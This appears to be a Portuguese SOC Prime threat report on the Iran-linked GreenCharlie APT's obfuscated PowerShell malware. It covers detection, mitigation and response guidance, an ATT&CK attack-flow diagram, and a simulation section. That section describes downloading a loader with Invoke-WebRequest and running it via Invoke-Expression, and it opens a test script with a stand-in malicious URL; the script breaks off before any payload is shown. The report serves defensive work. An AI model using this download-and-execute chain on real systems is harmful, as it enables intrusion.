SOC Prime Bias: Crítico

12 Nov 2025 17:00

GreenCharlie: O Relatório SOC sobre Explorações de PowerShell por APT Patrocinado pelo Irã

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
GreenCharlie: O Relatório SOC sobre Explorações de PowerShell por APT Patrocinado pelo Irã
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo do Exploit PowerShell GreenCharlie

GreenCharlie é um grupo APT com base no Irã que realiza cyberespionagem usando uma família de malwares PowerShell de múltiplos estágios (GORBLE, TAMECAT, POWERSTAR). O grupo registra muitos domínios DNS dinâmicos para phishing, utiliza scripts PowerShell ofuscados com codificação personalizada em Base64 e bitwise, e se comunica com servidores C2 via HTTPS POST. A atividade atingiu seu pico entre maio e agosto de 2024 com IPs iranianos e serviços de VPN mascarando o tráfego.

Investigação

Analise o tráfego de rede para conexões a domínios DDNS conhecidos e intervalos de IP associados ao grupo (por exemplo, *.ddnsgeek.com, *.dns-dynamic.net). Procure cadeias de execução PowerShell que realizam decodificação Base64 seguidas por operações bitwise NOT, e scripts que invocam ScriptBlock.Create ou Invoke-Expression. Monitore injeção de processos e execução na memória de cargas úteis desencriptadas. Correlacione alertas com técnicas ATT&CK T1583.001, T1566.002, T1059.001, T1568.

Mitigação

Implemente registro restrito do PowerShell (ModuleLogging, ScriptBlockLogging) e imponha o modo de linguagem restrita. Bloqueie ou proxy o tráfego para provedores DDNS conhecidos e TLDs suspeitos (.info, .xyz, .icu, .network, .online, .site). Implante sandboxing de DNS e filtragem de URLs para domínios de phishing. Use soluções de detecção e resposta de endpoint (EDR) para detectar scripts PowerShell ofuscados e descriptografia AES na memória. Imponha o princípio do menor privilégio para contas de serviço e desative ferramentas de execução remota desnecessárias.

Resposta à Ameaça GreenCharlie

Quando um indicador é detectado, isole o host afetado, capture a memória volátil e colete logs do PowerShell. Realize análise forense para extrair a carga útil decodificada e identificar servidores C2. Revogue credenciais comprometidas, rode segredos, e remova tarefas agendadas ou mecanismos de persistência relacionados. Conduza compartilhamento de inteligência de ameaças de IOCs (domínios, IPs, valores de hash) com ISACs relevantes e atualize regras de detecção conforme necessário.

graph TB %% Definições de Classes classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nós start[“<b>Início</b>: Gatilho de execução inicial”] class start action tech_execution[“<b>Técnica</b> – T1059.001<br /><b>PowerShell</b>: Executa script para baixar a carga”] class tech_execution technique process_download[“<b>Processo</b>: Download da carga de segundo estágio”] class process_download process tech_obf1[“<b>Técnica</b> – T1027.008<br />Cargas Removidas (Base64 + NOT)”] class tech_obf1 technique tech_obf2[“<b>Técnica</b> – T1027.014<br />Código Polimórfico (codificação variante)”] class tech_obf2 technique tech_decode[“<b>Técnica</b> – T1140<br />Decodificar/Desofuscar a carga”] class tech_decode technique tech_dns[“<b>Técnica</b> – T1071.004<br />Protocolo de Camada de Aplicação DNS”] class tech_dns technique tech_dga[“<b>Técnica</b> – T1568.002<br />Algoritmo de Geração de Domínios (DGA)”] class tech_dga technique tech_web[“<b>Técnica</b> – T1102.002<br />Serviço Web HTTPS Bidirecional”] class tech_web technique tech_encrypt[“<b>Técnica</b> – T1573<br />Canal Criptografado com AES”] class tech_encrypt technique data_exfil[“<b>Dados</b>: Informações do sistema (SO, nome do computador)”] class data_exfil data tech_exfil[“<b>Técnica</b> – T1041<br />Exfiltração por Canal C2”] class tech_exfil technique %% Conexões start u002du002d>|aciona| tech_execution tech_execution u002du002d>|baixa| process_download process_download u002du002d>|ofusca com| tech_obf1 process_download u002du002d>|aplica| tech_obf2 process_download u002du002d>|decodificado por| tech_decode tech_decode u002du002d>|comunica via| tech_dns tech_dns u002du002d>|usa| tech_dga tech_dns u002du002d>|comunica via| tech_web tech_web u002du002d>|criptografa o tráfego com| tech_encrypt tech_encrypt u002du002d>|transporta| data_exfil data_exfil u002du002d>|enviado via| tech_exfil

Fluxo de Ataque

Instruções de Simulação de Carga Útil

  • Narrativa do Ataque & Comandos:

    Estágio 1 – Recuperar o carregador malicioso:
    O atacante usa Invoke-WebRequest para baixar um script PowerShell chamado GORBLE.ps1 de um servidor C2.Estágio 2 – Codificar a carga útil:
    O script baixado contém a carga maliciosa. O atacante codifica toda a carga em base64 e a armazena em uma variável $x.Estágio 3 – Executar via cmdlet de alto risco:
    Usando Invoke-Expression, o atacante decodifica $x em tempo real e a executa, invocando assim a estrutura GORBLE.Estágio 4 – Movimento lateral (opcional):
    A carga pode posteriormente chamar ScriptBlock.Create com uma string ofuscada por bitwise-NOT para lançar um comando PowerShell de segundo estágio em um host remoto.
  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Simulação de Framework PowerShell GreenCharlie APT
    # -------------------------------------------------
    
    # 1. Simular download do framework malicioso (palavra-chave GORBLE)
    $maliciousUrl = "http://malicious.example.com/GORBLE.ps1"
    $downloaded = @"
    # GORBLE - carga maliciosa simulada